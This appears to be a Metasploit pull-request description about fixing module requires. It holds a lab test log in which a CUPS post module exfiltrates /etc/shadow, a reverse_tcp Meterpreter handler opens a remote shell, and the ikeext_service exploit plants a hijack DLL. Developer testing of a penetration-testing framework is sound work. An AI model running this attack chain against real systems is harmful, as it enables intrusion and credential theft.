Fix requires in new post modules

Just defense in depth until  #2304 is landed.

Test after changes:

```
msf exploit(handler) > use post/multi/escalate/cups_root_file_read 
msf post(cups_root_file_read) > set session 1
session => 1
msf post(cups_root_file_read) > run

[+] User in lpadmin group, continuing...
[+] cupsctl binary found in $PATH
[+] nc binary found in $PATH
[-] Could not determine CUPS version.
[+] File /etc/shadow (1027 bytes) saved to /Users/juan/.msf4/loot/20130910111021_default_192.168.172.229_cups_file_read_488823.bin
[*] Cleaning up...
[*] Post module execution completed
msf post(cups_root_file_read) > use exploit/multi/handler 
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.172.1
lhost => 192.168.172.1
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] Starting the payload handler...

[*] 192.168.172.229 - Command shell session 1 closed.  Reason: Died from EOFError
[*] Sending stage (752128 bytes) to 192.168.172.219
[*] Meterpreter session 2 opened (192.168.172.1:4444 -> 192.168.172.219:49159) at 2013-09-10 11:11:28 -0500

meterpreter > background
[*] Backgrounding session 2...
msf exploit(handler) > use exploit/windows/local/ikeext_service 
msf exploit(ikeext_service) > set session 2
session => 2
msf exploit(ikeext_service) > check

[+] Service is set to Automatically start...
[+] The target is vulnerable.
msf exploit(ikeext_service) > exploit

[*] Started reverse handler on 10.6.0.165:4444 
[*] Checking service exists...
[!] UAC is enabled, may get false negatives on writable folders.
[*] Checking %PATH% folders for write access...
[*] Path C:\Windows\System32\WindowsPowerShell\v1.0\ does not exist...
[+] Write permissions in C:\Python27 - RW
[*] Writing 14336 bytes to C:\Python27\wlbsctrl.dll...
[*] Launching service IKEEXT...
[-] Exploit failed: Unable to start service, use exploit -j to run as a background job and wait for a reboot...

^C[*] Waiting 0s before file cleanup...
[+] Deleted C:\Python27\wlbsctrl.dll
[*] Exploit completed, but no session was created.

```